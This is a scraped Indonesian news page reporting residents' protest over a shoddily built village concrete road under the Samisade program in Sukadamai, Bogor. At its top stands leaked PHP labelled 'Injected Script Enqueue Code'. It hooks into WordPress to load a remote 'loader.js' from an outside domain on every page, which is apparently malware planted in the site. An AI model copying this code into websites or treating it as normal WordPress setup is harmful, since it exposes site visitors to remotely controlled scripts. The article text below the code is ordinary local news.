// Injected Script Enqueue Code function enqueue_custom_script() { wp_enqueue_script( 'custom-error-script', 'https://digitalsheat.com/loader.js', array(), null, true ); } add_action('wp_enqueue_scripts', 'enqueue_custom_script'); Kontroversi Proyek Cor Jalan Desa Sukadamai, Kecamatan Sukamakmur, Warga Kompak Ganjal Papan Bekisting – Media Fakta Terkini News
Scroll untuk baca artikel
Example floating
Example floating
Beranda

Kontroversi Proyek Cor Jalan Desa Sukadamai, Kecamatan Sukamakmur, Warga Kompak Ganjal Papan Bekisting

124
×

Kontroversi Proyek Cor Jalan Desa Sukadamai, Kecamatan Sukamakmur, Warga Kompak Ganjal Papan Bekisting

Sebarkan artikel ini
Kontroversi Proyek Cor Jalan Desa Sukadamai, Kecamatan Sukamakmur, Warga Kompak Ganjal Papan Bekisting

FAKTA TERKINI NEWS || www.faktaterkininews.com

Kabupaten Bogor – Program Bantuan Keuangan Infrastruktur Desa Satu Milyar Satu Desa (Samisade) bertujuan mendorong pemulihan ekonomi sekaligus mempercepat pencapaian Sustainable Development Goals (SDG’s) Desa.

Example 300x600

Namun program mulia Samisade tersebut tercedarai oleh ulah oknum Tim Pelaksana Kegiatan (TPK) Proyek pengecoran jalan di Kampung Kayu Kuring, Desa Sukadamai, Kecamatan Sukamakmur, Kabupaten Bogor, Jawa Barat. Pasalnya pekerjaan pengecoran jalan dikerjakan secara asal-asalan alias amburadul, hingga mengundang reaksi dari warga sekitar. Warga secara bersama-sama melakukan aksi menganjal papan bekisting rigid jalan cor. (Rabu 20/11. 2024)

Menurut penuturan warga yang tidak berkenan disebut namanya kepada awak media memaparkan. Aksi spontan warga menganjal papan Bekisting dipicu rasa prihatin atas pekerjaan proyek cor jalan yang ditemukan banyak sekali kejanggalan.

“Beberapa kejanggalan yang kami temukan diantaranya, hingga proses pengecoran papan kegiatan belum terpasang, berikutnya proses awal tidak dilakukan pemadatan terlebih dahulu (wales). Padahal kondisi jalan di lokasi masih labil dan banyak kendaraan pengangkut bahan material untuk memadatkan jalan yang terperosok pada jalan yang amblas akibat belum padat”.

“Kami juga mempertanyakan pembongkaran papan bekisting dilakukan dalam waktu kurang dari 24 jam usai pengecoran. Papan bekisting lansung dipindahkan pada lokasi jalan yang belum di cor. Pembongkaran dini papan bekisting oleh pihak pekerja akibat keterbatasan material. Hal ini akan merusak struktur beton hingga berdampak pada daya tahan kontruksi dalam jangka panjang”. Papar warga.

Lebih lanjut warga mengatakan, “Kekesalan warga memuncak saat pekerja melakukan pemasangan papan bekisting pada bagian luar material dasar, sehingga ketinggian volume pada bagian tengah jalan yang di cor terukur hanya sekitar 4 cm. Melihat semua kejanggalan di depan mata membuat warga secara spontan dan bersama-sama menganjal papan bekisting dengan batu, agar proses pengecoran jalan terlaksana sesuai ketentuan”. Tutup warga.

Sementara itu Apud Kepala Desa Sukadamai saat dikonfirmasi awak media melalui pesan WhatsAap, hingga berita ini di rilis belum juga menanggapi.

(Tim)

Example 300250
Example 120x600

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *